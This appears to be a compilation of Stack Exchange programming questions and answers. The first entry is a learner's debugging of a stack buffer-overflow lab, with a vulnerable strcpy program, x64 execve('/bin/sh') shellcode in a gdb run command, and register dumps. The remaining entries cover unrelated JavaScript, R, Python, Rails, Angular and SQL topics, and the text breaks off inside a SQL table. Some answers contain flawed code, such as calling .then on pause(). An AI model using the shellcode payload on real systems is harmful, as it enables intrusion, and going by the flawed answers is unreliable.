问:
Getting Cannot access memory on executing push instruction on x64 architecture
I am trying to learn buffer overflow exploit. shell code contains instructions and when executed separately, they run without any problem but when control is passed to it via the program i am trying to exploit it halts at a push instruction giving SEGSEGV fault
I had hard time overwriting the return address. ASLR is disabled and stack is executable.
Here is my Program:

```<code>#include<stdio.h>
#include<string.h>

void cllme()
{
        printf("hello world\n");
}

int main(int argc, char *argv[]){

    char buffer[30];
    cllme();
    printf("buffer is at %p\n",buffer);
    printf("callme is at %p\n",cllme);
    strcpy(buffer,argv[1]);
    return 0;
}
</code>```

Here is the command that i run to execute it in gdb:

```<code>run $(python -c 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"+13*"a"+"\x10\xe4\xff\xff\xff\x7f"')
</code>```

GDB log:

```<code>(gdb) x/13i $rip
=> 0x7fffffffe41c:  neg    rbx
   0x7fffffffe41f:  push   rbx
   0x7fffffffe420:  push   rsp
   0x7fffffffe421:  pop    rdi
   0x7fffffffe422:  cdq
   0x7fffffffe423:  push   rdx
   0x7fffffffe424:  push   rdi
   0x7fffffffe425:  push   rsp
   0x7fffffffe426:  pop    rsi
   0x7fffffffe427:  mov    al,0x3b
   0x7fffffffe429:  syscall
   0x7fffffffe42b:  (bad)
   0x7fffffffe42c:  (bad)
(gdb) i r
rax            0x0  0
rbx            0xff978cd091969dd1   -29400045130965551
rcx            0xe410616161616161   -2013001962561117855
rdx            0x7fffffffe41061 36028797017133153
rsi            0x7fffffffe7c0   140737488349120
rdi            0x7fffffffe432   140737488348210
rbp            0x6161616161616161   0x6161616161616161
rsp            0x7fffffffe440   0x7fffffffe440
r8             0x1  1
r9             0x1c 28
r10            0x78 120
r11            0x7ffff7b95f48   140737349508936
r12            0x5555555545f0   93824992232944
r13            0x7fffffffe510   140737488348432
r14            0x0  0
r15            0x0  0
rip            0x7fffffffe41c   0x7fffffffe41c
eflags         0x246    [ PF ZF IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb) nexti
0x00007fffffffe41f in ?? ()
(gdb) i r
rax            0x0  0
rbx            0x68732f6e69622f 29400045130965551
rcx            0xe410616161616161   -2013001962561117855
rdx            0x7fffffffe41061 36028797017133153
rsi            0x7fffffffe7c0   140737488349120
rdi            0x7fffffffe432   140737488348210
rbp            0x6161616161616161   0x6161616161616161
rsp            0x7fffffffe440   0x7fffffffe440
r8             0x1  1
r9             0x1c 28
r10            0x78 120
r11            0x7ffff7b95f48   140737349508936
r12            0x5555555545f0   93824992232944
r13            0x7fffffffe510   140737488348432
r14            0x0  0
r15            0x0  0
rip            0x7fffffffe41f   0x7fffffffe41f
eflags         0x213    [ CF AF IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb) x/13i $rip
=> 0x7fffffffe41f:  push   rbx
   0x7fffffffe420:  push   rsp
   0x7fffffffe421:  pop    rdi
   0x7fffffffe422:  cdq
   0x7fffffffe423:  push   rdx
   0x7fffffffe424:  push   rdi
   0x7fffffffe425:  push   rsp
   0x7fffffffe426:  pop    rsi
   0x7fffffffe427:  mov    al,0x3b
   0x7fffffffe429:  syscall
   0x7fffffffe42b:  (bad)
   0x7fffffffe42c:  (bad)
   0x7fffffffe42d:  (bad)
(gdb) i r
rax            0x0  0
rbx            0x68732f6e69622f 29400045130965551
rcx            0xe410616161616161   -2013001962561117855
rdx            0x7fffffffe41061 36028797017133153
rsi            0x7fffffffe7c0   140737488349120
rdi            0x7fffffffe432   140737488348210
rbp            0x6161616161616161   0x6161616161616161
rsp            0x7fffffffe440   0x7fffffffe440
r8             0x1  1
r9             0x1c 28
r10            0x78 120
r11            0x7ffff7b95f48   140737349508936
r12            0x5555555545f0   93824992232944
r13            0x7fffffffe510   140737488348432
r14            0x0  0
r15            0x0  0
rip            0x7fffffffe41f   0x7fffffffe41f
eflags         0x213    [ CF AF IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb) nexti
Warning:
Cannot insert breakpoint 0.
Cannot access memory at address 0x68732f6e69622f
(gdb)nexti
Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe426 in ?? ()
</code>```

答:
thank you, Jester for pointing out the issue. Turned out that the stack pointer was pointing to the address e440 but as we pushed more than 20 bytes it messed up the shell code which in made it crash as an instruction was created which tries to access rbx location</p>

```<code>(gdb) stepi
0x00007fffffffe424 in ?? ()
(gdb) x/11i $rip
=> 0x7fffffffe424:  push   rdi
   0x7fffffffe425:  push   rsp
   0x7fffffffe426:  pop    rsi
   0x7fffffffe427:  mov    al,0x3b
   0x7fffffffe429:  syscall
   0x7fffffffe42b:  (bad)
   0x7fffffffe42c:  (bad)
   0x7fffffffe42d:  (bad)
   0x7fffffffe42e:  (bad)
   0x7fffffffe42f:  (bad)
   0x7fffffffe430:  add    BYTE PTR [rax],al
(gdb) stepi
0x00007fffffffe425 in ?? ()
(gdb) x/11i $rip
=> 0x7fffffffe425:  push   rsp
   0x7fffffffe426:  pop    rsi
   0x7fffffffe427:  mov    al,0x38
   0x7fffffffe429:  in     al,0xff
</code>```

Body:
I am trying to learn buffer overflow exploit. shell code contains instructions and when executed separately, they run without any problem but when control is passed to it via the program i am trying to exploit it halts at a push instruction giving SEGSEGV fault
I had hard time overwriting the return address. ASLR is disabled and stack is executable.
Here is my Program:

#include<stdio.h>
#include<string.h>

void cllme()
{
        printf("hello world\n");
}

int main(int argc, char *argv[]){

    char buffer[30];
    cllme();
    printf("buffer is at %p\n",buffer);
    printf("callme is at %p\n",cllme);
    strcpy(buffer,argv[1]);
    return 0;
}

Here is the command that i run to execute it in gdb:

run $(python -c 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"+13*"a"+"\x10\xe4\xff\xff\xff\x7f"')

GDB log:

(gdb) x/13i $rip
=> 0x7fffffffe41c:  neg    rbx
   0x7fffffffe41f:  push   rbx
   0x7fffffffe420:  push   rsp
   0x7fffffffe421:  pop    rdi
   0x7fffffffe422:  cdq
   0x7fffffffe423:  push   rdx
   0x7fffffffe424:  push   rdi
   0x7fffffffe425:  push   rsp
   0x7fffffffe426:  pop    rsi
   0x7fffffffe427:  mov    al,0x3b
   0x7fffffffe429:  syscall
   0x7fffffffe42b:  (bad)
   0x7fffffffe42c:  (bad)
(gdb) i r
rax            0x0  0
rbx            0xff978cd091969dd1   -29400045130965551
rcx            0xe410616161616161   -2013001962561117855
rdx            0x7fffffffe41061 36028797017133153
rsi            0x7fffffffe7c0   140737488349120
rdi            0x7fffffffe432   140737488348210
rbp            0x6161616161616161   0x6161616161616161
rsp            0x7fffffffe440   0x7fffffffe440
r8             0x1  1
r9             0x1c 28
r10            0x78 120
r11            0x7ffff7b95f48   140737349508936
r12            0x5555555545f0   93824992232944
r13            0x7fffffffe510   140737488348432
r14            0x0  0
r15            0x0  0
rip            0x7fffffffe41c   0x7fffffffe41c
eflags         0x246    [ PF ZF IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb) nexti
0x00007fffffffe41f in ?? ()
(gdb) i r
rax            0x0  0
rbx            0x68732f6e69622f 29400045130965551
rcx            0xe410616161616161   -2013001962561117855
rdx            0x7fffffffe41061 36028797017133153
rsi            0x7fffffffe7c0   140737488349120
rdi            0x7fffffffe432   140737488348210
rbp            0x6161616161616161   0x6161616161616161
rsp            0x7fffffffe440   0x7fffffffe440
r8             0x1  1
r9             0x1c 28
r10            0x78 120
r11            0x7ffff7b95f48   140737349508936
r12            0x5555555545f0   93824992232944
r13            0x7fffffffe510   140737488348432
r14            0x0  0
r15            0x0  0
rip            0x7fffffffe41f   0x7fffffffe41f
eflags         0x213    [ CF AF IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb) x/13i $rip
=> 0x7fffffffe41f:  push   rbx
   0x7fffffffe420:  push   rsp
   0x7fffffffe421:  pop    rdi
   0x7fffffffe422:  cdq
   0x7fffffffe423:  push   rdx
   0x7fffffffe424:  push   rdi
   0x7fffffffe425:  push   rsp
   0x7fffffffe426:  pop    rsi
   0x7fffffffe427:  mov    al,0x3b
   0x7fffffffe429:  syscall
   0x7fffffffe42b:  (bad)
   0x7fffffffe42c:  (bad)
   0x7fffffffe42d:  (bad)
(gdb) i r
rax            0x0  0
rbx            0x68732f6e69622f 29400045130965551
rcx            0xe410616161616161   -2013001962561117855
rdx            0x7fffffffe41061 36028797017133153
rsi            0x7fffffffe7c0   140737488349120
rdi            0x7fffffffe432   140737488348210
rbp            0x6161616161616161   0x6161616161616161
rsp            0x7fffffffe440   0x7fffffffe440
r8             0x1  1
r9             0x1c 28
r10            0x78 120
r11            0x7ffff7b95f48   140737349508936
r12            0x5555555545f0   93824992232944
r13            0x7fffffffe510   140737488348432
r14            0x0  0
r15            0x0  0
rip            0x7fffffffe41f   0x7fffffffe41f
eflags         0x213    [ CF AF IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb) nexti
Warning:
Cannot insert breakpoint 0.
Cannot access memory at address 0x68732f6e69622f
(gdb)nexti
Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe426 in ?? ()

Body:
thank you, Jester for pointing out the issue. Turned out that the stack pointer was pointing to the address e440 but as we pushed more than 20 bytes it messed up the shell code which in made it crash as an instruction was created which tries to access rbx location

(gdb) stepi
0x00007fffffffe424 in ?? ()
(gdb) x/11i $rip
=> 0x7fffffffe424:  push   rdi
   0x7fffffffe425:  push   rsp
   0x7fffffffe426:  pop    rsi
   0x7fffffffe427:  mov    al,0x3b
   0x7fffffffe429:  syscall
   0x7fffffffe42b:  (bad)
   0x7fffffffe42c:  (bad)
   0x7fffffffe42d:  (bad)
   0x7fffffffe42e:  (bad)
   0x7fffffffe42f:  (bad)
   0x7fffffffe430:  add    BYTE PTR [rax],al
(gdb) stepi
0x00007fffffffe425 in ?? ()
(gdb) x/11i $rip
=> 0x7fffffffe425:  push   rsp
   0x7fffffffe426:  pop    rsi
   0x7fffffffe427:  mov    al,0x38
   0x7fffffffe429:  in     al,0xff


来源: stackexchange

问:
How to prevent "The play() request was interrupted by a call to pause()" error?
I made a website where if the user clicks, it plays a sound. To prevent the sound from overlapping, I had to add the code:

```<code>n.pause();
n.currentTime = 0;
n.play();
</code>```

But that causes the error:
The play() request was interrupted by a call to pause()

 To come up each time the sound event is triggered right after another trigger. The sounds still plays fine, but I want to prevent this error message constantly popping up. Any ideas?

答:
It looks like a lot of programmers encountered this problem.
a solution should be quite simple. media element return Promise from actions so

```<code>n.pause().then(function(){
    n.currentTime = 0;
    n.play();
})
</code>```

should do the trick

ContentLicense: CC BY-SA 4.0

Body:
I made a website where if the user clicks, it plays a sound. To prevent the sound from overlapping, I had to add the code:

n.pause();
n.currentTime = 0;
n.play();

But that causes the error:
The play() request was interrupted by a call to pause()

 To come up each time the sound event is triggered right after another trigger. The sounds still plays fine, but I want to prevent this error message constantly popping up. Any ideas?

Body:
It looks like a lot of programmers encountered this problem.
a solution should be quite simple. media element return Promise from actions so

n.pause().then(function(){
    n.currentTime = 0;
    n.play();
})

should do the trick

ContentLicense: CC BY-SA 3.0


问:
maps in power BI: how bing resolve city names, world cities database?
I am running into an issue with Maps from Power BI.

I have a list of city name around the world in a different language than English.

Excel containing distinct city name in Italian

Using the visualizations Maps I get no feedback (i.e. map remain empty), so I started to translate the name into English, add country, state and continent. Nothing. The map remain still empty. I even change the data type of each column. NO-THING.
Finally I insert the Latitude and Longitude and then the visualization shows me what I want.

Full geographics description database

1) Does anyone knows how bings works? I though it will to the best guess, but nothing happens till I insert the lat and long.

2) Does anyone knows about a database with the lat and Long of cities around the world?

答: Answer to question 2): you can get lat/long via the Google Maps geolocation API. Make it a (paginated) function in Power Query and you'll be good to go. You'll need to create credentials in the Google developer console and if memory serves, the free tier is limited to 2,500 queries per day, so make sure not to query coordinates for the same city more than once.</p>


问:
document.ready not working on linking a page through ahref
The document only loads when the page is hit directly with its url, it does not work if the page is loaded through an ahref link.

```<code>$(document).ready(function(){
alert( "document loaded" );
});
</code>```

I know this has been asked before and I tried a few things and nothing worked. The window also does not get loaded on opening a page through a link

```<code>$( window ).on( "load", function() {
  alert( "window loaded" );
});
</code>```

I also tried pageinit, not sure if I used it wrong but it did not work.
Any help will be appreciated

Also, I am using rails

My application

    <meta content="text/html; charset=UTF-8" http-equiv="Content-Type"/>
    <title>DevPortal</title>
    <%= csrf_meta_tags %>
    <%= stylesheet_link_tag    'application', media: 'all', 'data-turbolinks-track': 'reload' %>
    <%= javascript_include_tag 'application', 'data-turbolinks-track': 'reload' %>

    <%= yield %>

```
</div>
</div>
</p>

<p>I link my one page to another using the following code snippet:</p>

```

    My link

```

答:
If the link points to a hash ID in the same URL, it won't reload the page. Use the hashchange event instead.

```<code>$(window).on("hashchange", function() {
    alert("hash changed do something");
});
</code>```

Body:
The document only loads when the page is hit directly with its url, it does not work if the page is loaded through an ahref link.

$(document).ready(function(){
alert( "document loaded" );
});

I know this has been asked before and I tried a few things and nothing worked. The window also does not get loaded on opening a page through a link

$( window ).on( "load", function() {
  alert( "window loaded" );
});

I also tried pageinit, not sure if I used it wrong but it did not work.
Any help will be appreciated

Also, I am using rails

My application

    <meta content="text/html; charset=UTF-8" http-equiv="Content-Type"/>
    <title>DevPortal</title>
    <%= csrf_meta_tags %>
    <%= stylesheet_link_tag    'application', media: 'all', 'data-turbolinks-track': 'reload' %>
    <%= javascript_include_tag 'application', 'data-turbolinks-track': 'reload' %>

    <%= yield %>

I link my one page to another using the following code snippet:

    My link

Body:
If the link points to a hash ID in the same URL, it won't reload the page. Use the hashchange event instead.

$(window).on("hashchange", function() {
    alert("hash changed do something");
});


问:
How to mock react-native module (not 3rd party module) with jest
I am trying to mock a module that ships with react-native (not 3rd party modules), such as LayoutAnimation:

import * as RN from 'react-native'

RN.LayoutAnimation = jest.fn()
```

<p>But the test fails with:</p>

<pre class="lang-js prettyprint-override"><code>TypeError: Cannot read property 'decelerationRate' of undefined

  at Object.<anonymous> (node_modules/react-native/Libraries/Components/WebView/WebView.ios.js:555:3254)
  at Object.get WebView [as WebView] (node_modules/react-native/Libraries/react-native/react-native-implementation.js:73:22)
</code>```

Is there any other way to mock/stub out a RN module such as LayoutAnimation or any other react-native (not 3rd party) module?

答: Try to simply do jest.mock('LayoutAnimation');

Body:
I am trying to mock a module that ships with react-native (not 3rd party modules), such as LayoutAnimation:

import * as RN from 'react-native'

RN.LayoutAnimation = jest.fn()

But the test fails with:

TypeError: Cannot read property 'decelerationRate' of undefined

  at Object.<anonymous> (node_modules/react-native/Libraries/Components/WebView/WebView.ios.js:555:3254)
  at Object.get WebView [as WebView] (node_modules/react-native/Libraries/react-native/react-native-implementation.js:73:22)

Is there any other way to mock/stub out a RN module such as LayoutAnimation or any other react-native (not 3rd party) module?


问:
Jhipster registry does not allow Eureka Endpoints for sidecar registration
How do I connect to Jhipster registry using Eureka endpoints?
I followed this blog.

But Jhipster registry doesn't to recognise sidecar and the registration fails with

404 Bad request.

答:
All I had to do was to frame the defaultZone using jhipster username and password  http://admin:admin@localhost:8761/eureka/
The 404 error is because of jhipster security for any request coming on /eureka/**</p>


问:
Find the names contained in each sentence cycling through a large vector of names
This question is an extension of this one: Find the names contained in each sentence (not the other way around)

I'll write the relevant part here. From this:

```<code>> sentences
[1] "Opposed as a reformer at Tübingen, he accepted a call to the University of Wittenberg by Martin Luther, recommended by his great-uncle Johann Reuchlin"
[2] " Melanchthon became professor of the Greek language in Wittenberg at the age of 21 with the help of Martin Luther"
[3] " He studied the Scripture, especially of Paul, and Evangelical doctrine"
[4] " He was present at the disputation of Leipzig (1519) as a spectator, but participated by his comments."
[5] " Johann Eck having attacked his views, Melanchthon replied based on the authority of Scripture in his Defensio contra Johannem Eckium"

toMatch <- c("Martin Luther", "Paul", "Melanchthon")
</code>```

We obtained this result:

```<code>library(stringr)
lst <- str_extract_all(sentences, paste(toMatch, collapse="|"))
lst[lengths(lst)==0] <- NA
lst
#[[1]]
#[1] "Martin Luther"

#[[2]]
#[1] "Melanchthon"   "Martin Luther"

#[[3]]
#[1] "Paul"

#[[4]]
#[1] NA

#[[5]]
#[1] "Melanchthon"
</code>```

But for a large toMatch vector, concatenating its values with the OR operator might not be very efficient. So my question is, how can be the same result be obtained using a function or a loop? Maybe this way it can be used a regular expression like \< or \b aroung the toMatch values so the system only looks for the whole words instead of strings.

I've tried this but don't know how to save the matches in lst to get the same result as above.

```<code>for(i in 1:length(sentences)){
    for(j in 1:length(toMatch)){
        lst<-str_extract_all(sentences[i], toMatch[j])
        }}
</code>```

答:
Are you expecting something like this?</p>

```<code>library(stringr)

sentences <- c(
"Opposed as a reformer at Tübingen, he accepted a call to the University of Wittenberg by Martin Luther, recommended by his great-uncle Johann Reuchlin",
" Melanchthon became professor of the Greek language in Wittenberg at the age of 21 with the help of Martin Luther",
" He studied the Scripture, especially of Paul, and Evangelical doctrine",
" He was present at the disputation of Leipzig (1519) as a spectator, but participated by his comments.",
" Johann Eck having attacked his views, Melanchthon replied based on the authority of Scripture in his Defensio contra Johannem Eckium")

toMatch <- c("Martin Luther", "Paul", "Melanchthon")

for(i in 1:length(sentences)){
  lst[[i]] <- NA * seq(length(toMatch))
  for(j in 1:length(toMatch)){
    tmp = str_extract_all(sentences[i], toMatch[j])
    if (length(tmp[[1]]) > 0) {
      lst[[i]][j] <- tmp[[1]]
    }
  }}
lapply(lst, function(x) x[!is.na(x)])
lst
</code>```

Body:
This question is an extension of this one: Find the names contained in each sentence (not the other way around)

I'll write the relevant part here. From this:

> sentences
[1] "Opposed as a reformer at Tübingen, he accepted a call to the University of Wittenberg by Martin Luther, recommended by his great-uncle Johann Reuchlin"
[2] " Melanchthon became professor of the Greek language in Wittenberg at the age of 21 with the help of Martin Luther"
[3] " He studied the Scripture, especially of Paul, and Evangelical doctrine"
[4] " He was present at the disputation of Leipzig (1519) as a spectator, but participated by his comments."
[5] " Johann Eck having attacked his views, Melanchthon replied based on the authority of Scripture in his Defensio contra Johannem Eckium"

toMatch <- c("Martin Luther", "Paul", "Melanchthon")

We obtained this result:

library(stringr)
lst <- str_extract_all(sentences, paste(toMatch, collapse="|"))
lst[lengths(lst)==0] <- NA
lst
#[[1]]
#[1] "Martin Luther"

#[[2]]
#[1] "Melanchthon"   "Martin Luther"

#[[3]]
#[1] "Paul"

#[[4]]
#[1] NA

#[[5]]
#[1] "Melanchthon"

But for a large toMatch vector, concatenating its values with the OR operator might not be very efficient. So my question is, how can be the same result be obtained using a function or a loop? Maybe this way it can be used a regular expression like \< or \b aroung the toMatch values so the system only looks for the whole words instead of strings.

I've tried this but don't know how to save the matches in lst to get the same result as above.

for(i in 1:length(sentences)){
    for(j in 1:length(toMatch)){
        lst<-str_extract_all(sentences[i], toMatch[j])
        }}

Body:
Are you expecting something like this?

library(stringr)

sentences <- c(
"Opposed as a reformer at Tübingen, he accepted a call to the University of Wittenberg by Martin Luther, recommended by his great-uncle Johann Reuchlin",
" Melanchthon became professor of the Greek language in Wittenberg at the age of 21 with the help of Martin Luther",
" He studied the Scripture, especially of Paul, and Evangelical doctrine",
" He was present at the disputation of Leipzig (1519) as a spectator, but participated by his comments.",
" Johann Eck having attacked his views, Melanchthon replied based on the authority of Scripture in his Defensio contra Johannem Eckium")

toMatch <- c("Martin Luther", "Paul", "Melanchthon")

for(i in 1:length(sentences)){
  lst[[i]] <- NA * seq(length(toMatch))
  for(j in 1:length(toMatch)){
    tmp = str_extract_all(sentences[i], toMatch[j])
    if (length(tmp[[1]]) > 0) {
      lst[[i]][j] <- tmp[[1]]
    }
  }}
lapply(lst, function(x) x[!is.na(x)])
lst


问:
Adding new item into object (Angular, Ionic2)
I guess it's a simple JavaScript question, but still... I can't figure it out, I tried everything (I guess not)...

I'm trying to add multiple items into the this.cart which is stored in Ionic Storage (like LocalStorage).

When I add 2 items to the cart:

```<code>updateCart(id, qty) {
    this.storage.get('cart').then((result) => {
        if(result) {
            this.cart = result;
        }
        else {
            this.cart = [];
        }

        this.cart.push({
            id: id,
            qty: qty
        });
    });

    this.storage.set('cart', this.cart);

    this.storage.get('cart').then((result) => {
        console.log(JSON.stringify(result));
    });
}
</code>```

It returns:

```<code>[{"id":"48131","qty":1}]
</code>```

Instead of:

```<code>[{"id":"48130","qty":1},{"id":"48131","qty":1}...]
</code>```

答:
```<code>updateCart(id, qty) {
    this.cart = [];

    this.storage.get('cart').then((result) => {
        this.cart.push(result);
    });

    this.cart.push({
        id: id,
        qty: qty
    });

    this.storage.set('cart', this.cart);

    this.storage.get('cart').then((result) => {
        console.log(JSON.stringify(result));
    });
}
</code>```

Body:
I guess it's a simple JavaScript question, but still... I can't figure it out, I tried everything (I guess not)...

I'm trying to add multiple items into the this.cart which is stored in Ionic Storage (like LocalStorage).

When I add 2 items to the cart:

updateCart(id, qty) {
    this.storage.get('cart').then((result) => {
        if(result) {
            this.cart = result;
        }
        else {
            this.cart = [];
        }

        this.cart.push({
            id: id,
            qty: qty
        });
    });

    this.storage.set('cart', this.cart);

    this.storage.get('cart').then((result) => {
        console.log(JSON.stringify(result));
    });
}

It returns:

[{"id":"48131","qty":1}]

Instead of:

[{"id":"48130","qty":1},{"id":"48131","qty":1}...]


问:
Running a React/Rails app locally
I am trying to run an application locally which has React/Redux front-end and communicates with a rails api. In my .env file I am referencing the port which is running my api (rails s has it running on port as API_URL 3000) and my react dev server is referenced in HOST running on localhost:3003.

When I go to localhost:3003 and have my react font-end up, I get the following error when i send requests to my api: Bothy me .env files are also pointing at the correct ports on localhost.

XMLHttpRequest cannot load http://localhost:3000/users_company. No
  'Access-Control-Allow-Origin' header is present on the requested
  resource. Origin 'http://localhost:3003' is therefore not allowed
  access. The response had HTTP status code 500.

Any ideas ?

答:
Yes, I suspect this is a CORS thing too, commenting only because it's CORS + Rails specific, not solving in Node.

There's a Gem called rack-cors that lets you set the CORS' Access-Control-Allow-Origin header to the rendered page.

You set up the gem into your Rails middleware chain, and allow from either * (the easiest) or the specific hosts you may see requests from (more secure, but annoying).

There's an excellent blog article on this: Navigating CORS using React and Rails.

You also might consider serving your React app through the asset pipeline (maybe even via git submodules, or just a local symlink, if you want to have your frontend application live in a separate repo from your backend (because please do): react-rails-hot-loader

Title: Running a React/Rails app locally


问:
Cant find file to import
I have a file system as follows:

```<code>/
- website/
-   - server.py
- common.py
</code>```

When in /, i try to run:   python website/server.py but it shows an error when attempting to from common import my_func saying:

```<code>ImportError: No module named common
</code>```

Is there a way to denote a file as a module?  The issue I am running into is that while working in PyCharm it understands the python files correctly and functions as designed, but when running them in the command prompt in a VM it doesnt understand.  I was running the python from / as you can see, thinking it would use that as the scope, but it seems like that isnt working.

I was not given any more information from the debugger or logs. What am I doing wrong?

Edit  I tried doing the following as per Joao's request.   python ./website/server.py and returned the following line still, which is the same error received above.

```<code>Traceback (most recent call last):
  File "./website/server.py", line 3, in <module>
    from common import my_func
Import Error: No module named common
</code>```

答:
Try </p>

```<code>python ./website/server.py
</code>```

Title: Cant find file to import

Body:
I have a file system as follows:

/
- website/
-   - server.py
- common.py

When in /, i try to run:   python website/server.py but it shows an error when attempting to from common import my_func saying:

ImportError: No module named common

Is there a way to denote a file as a module?  The issue I am running into is that while working in PyCharm it understands the python files correctly and functions as designed, but when running them in the command prompt in a VM it doesnt understand.  I was running the python from / as you can see, thinking it would use that as the scope, but it seems like that isnt working.

I was not given any more information from the debugger or logs. What am I doing wrong?

Edit  I tried doing the following as per Joao's request.   python ./website/server.py and returned the following line still, which is the same error received above.

Traceback (most recent call last):
  File "./website/server.py", line 3, in <module>
    from common import my_func
Import Error: No module named common

Body:
Try

python ./website/server.py


问:
Printing index of duplicate numbers in array javascript
I need to find the first duplicate number in array and then print index of this number in console. In my code below I reach the moment when code finds the duplicate but prints its index. In simple words, 2 is duplictaing in array but it's stands in first place so I need to print index "0".

var sameNum = [2, 4, 5, 2, 3, 5, 1, 2, 4];
var firstIndex = [];

for (var i = 0; i < sameNum.length; i++) {
  for (var j = i; j < sameNum.length; j++) {
    if (i != j && sameNum[i] == sameNum[j]) {
      firstIndex = [i];
    }
  }
}
console.log(firstIndex);```

答:
I have used this solution

Array.prototype.getDuplicates = function () {
    var duplicates = {};
    for (var i = 0; i < this.length; i++) {
        if(duplicates.hasOwnProperty(this[i])) {
            duplicates[this[i]].push(i);
        } else if (this.lastIndexOf(this[i]) !== i) {
            duplicates[this[i]] = [i];
        }
    }

    return duplicates;
};

console.log([1, 2 ,3 ,4 ,5 ,6 ,6 ,7 ,8 ,9].getDuplicates());```


问:
angular 2 ui-router: change data in parent state
I have a project using Angular 2 and UI-ROUTER (not NgRoute).

It has:

    a parent state 'parent', controlling the view of Header and Control as shown in the picture below,

    two child states 'childA' and 'childB', controlling the view of child

On entering any of a child state say 'childAState', I need to pass some text like 'childA', to the header view that controlled by parent state. How can I do it? How to pass data to parent state when entering a child state?

This 'childA' text is not related to any component, but related to the child state it's entering. ( So I don't think I should pass it through component tree.)

I defined the states like this:

```<code>export const parentState = {
    name: 'parent',
    url: '',
    redirectTo: 'childA',
    views: {
        'header': {
            component: HeaderComponent
        },
        'control-panel': {
            component: ControlComponent
        }
    }
};
export const childAState = {
    name: 'childA',
    parent: 'parent',
    url: '/childA',
    views: {
        'child@': {
            component: LayerAComponent
        }
    }
};
export const childBState = {
    name: 'childB',
    parent: 'parent',
    url: '/childB',
    views: {
        'child@': {
            component: LayerBComponent
        }
    }
};
</code>```

Thanks!

答:
You need to have service with BehaviorSubject . Parent will be observing that service data .

When child component wants to inform parent, it updates the service . Since parent is observing the service data it gets notified and performs action. This is one of the ways components communicate in angular, you can use that method.

Body:
I have a project using Angular 2 and UI-ROUTER (not NgRoute).

It has:

    a parent state 'parent', controlling the view of Header and Control as shown in the picture below,

    two child states 'childA' and 'childB', controlling the view of child

On entering any of a child state say 'childAState', I need to pass some text like 'childA', to the header view that controlled by parent state. How can I do it? How to pass data to parent state when entering a child state?

This 'childA' text is not related to any component, but related to the child state it's entering. ( So I don't think I should pass it through component tree.)

I defined the states like this:

export const parentState = {
    name: 'parent',
    url: '',
    redirectTo: 'childA',
    views: {
        'header': {
            component: HeaderComponent
        },
        'control-panel': {
            component: ControlComponent
        }
    }
};
export const childAState = {
    name: 'childA',
    parent: 'parent',
    url: '/childA',
    views: {
        'child@': {
            component: LayerAComponent
        }
    }
};
export const childBState = {
    name: 'childB',
    parent: 'parent',
    url: '/childB',
    views: {
        'child@': {
            component: LayerBComponent
        }
    }
};

Thanks!


问:
Help me re-understand how to use sine to oscillate a graphic in (Objective) C
I feel silly asking this but I seem to have forgotten how to use sine effectively.

I'm working on an iPad app so I'm in ObjectiveC, and I'm just trying to get a UIView to oscillate slowly. Just using position.y + sin(counter) makes it move so fast it vibrates and I can't seem to define the period to slow it down.

I've found some code samples (mostly for generating sound waves) and they all combine so many things into one line of code I can't easily pull it apart. Can anybody just explain what I should be doing?

答:
You need a formula like this:

```<code>x(t) = (x_max) sin(2*pi*frequency*t)
</code>```

where

```<code>pi = 3.14159....
frequency = 1/period
t = time
x_max = maximum amplitude in the x-direction
</code>```

If you want oscillation in the y-direction you need another function.

ContentLicense: CC BY-SA 2.5

Body:
You need a formula like this:

x(t) = (x_max) sin(2*pi*frequency*t)

where

pi = 3.14159....
frequency = 1/period
t = time
x_max = maximum amplitude in the x-direction

If you want oscillation in the y-direction you need another function.


答:
Provided scale and precision of prices are fixed this trick will work</p>

```<code>SELECT house_id, pp, (pp DIV 10000)/100 price, (pp%10000)/100 add_per_pers
FROM (
SELECT h.id AS house_id,
       (SELECT CAST(price*1000000 + add_per_pers*100 AS UNSIGNED) pp
           FROM prices AS p
          WHERE p.house_id = h.id
            AND p.from_date = '2017-07-08'
            AND p.to_date = '2017-07-14'
            AND p.max_pers >= 6
         ORDER BY p.price
         LIMIT 1) AS pp
  FROM houses AS h
       INNER JOIN availability a
       ON h.id = a.house_id
 WHERE h.max_pers >= 6
   AND (a.from_date <= '2017-07-08'
       AND a.to_date >= '2017-07-14')
  ) t;
</code>```

Title: SQL JOIN three tables, one with LIMIT 1

Body:
I am working on a project for rental houses in MySQL. In a simplified view I have three tables. One holding the house data, one having the availability, the third one holding the prices.

The prices are the tricky part here as there may be different prices for different amount of people. E.g. renting house 1 (Blue house) with up to four persons is cheaper than with between 5 and 10 persons. Next to the price for the house, there often is an additional price per person.

Houses table:

+----+--------------+----------+
| id | name         | max_pers |
+----+--------------+----------+
|  1 | Blue house   |       10 |
|  2 | Red house    |        8 |
|  3 | Yellow house |        8 |
|  4 | Grey house   |        4 |
+----+--------------+----------+

Availability table:

+----+----------+------------+------------+
| id | house_id | from_date  | to_date    |
+----+----------+------------+------------+
|  1 |        1 | 2017-07-01 | 2017-07-14 |
|  2 |        1 | 2017-08-05 | 2017-08-19 |
|  3 |        2 | 2017-09-02 | 2017-09-16 |
|  4 |        3 | 2017-07-08 | 2017-07-14 |
|  5 |        4 | 2017-08-05 | 2017-08-12 |
|  6 |        4 | 2017-08-26 | 2017-09-02 |
+----+----------+------------+------------+

Prices table:

+----+----------+------------+------------+----------+--------+--------------+
| id | house_id | from_date  | to_date    | max_pers | price  | add_per_pers |
+----+----------+------------+------------+----------+--------+--------------+
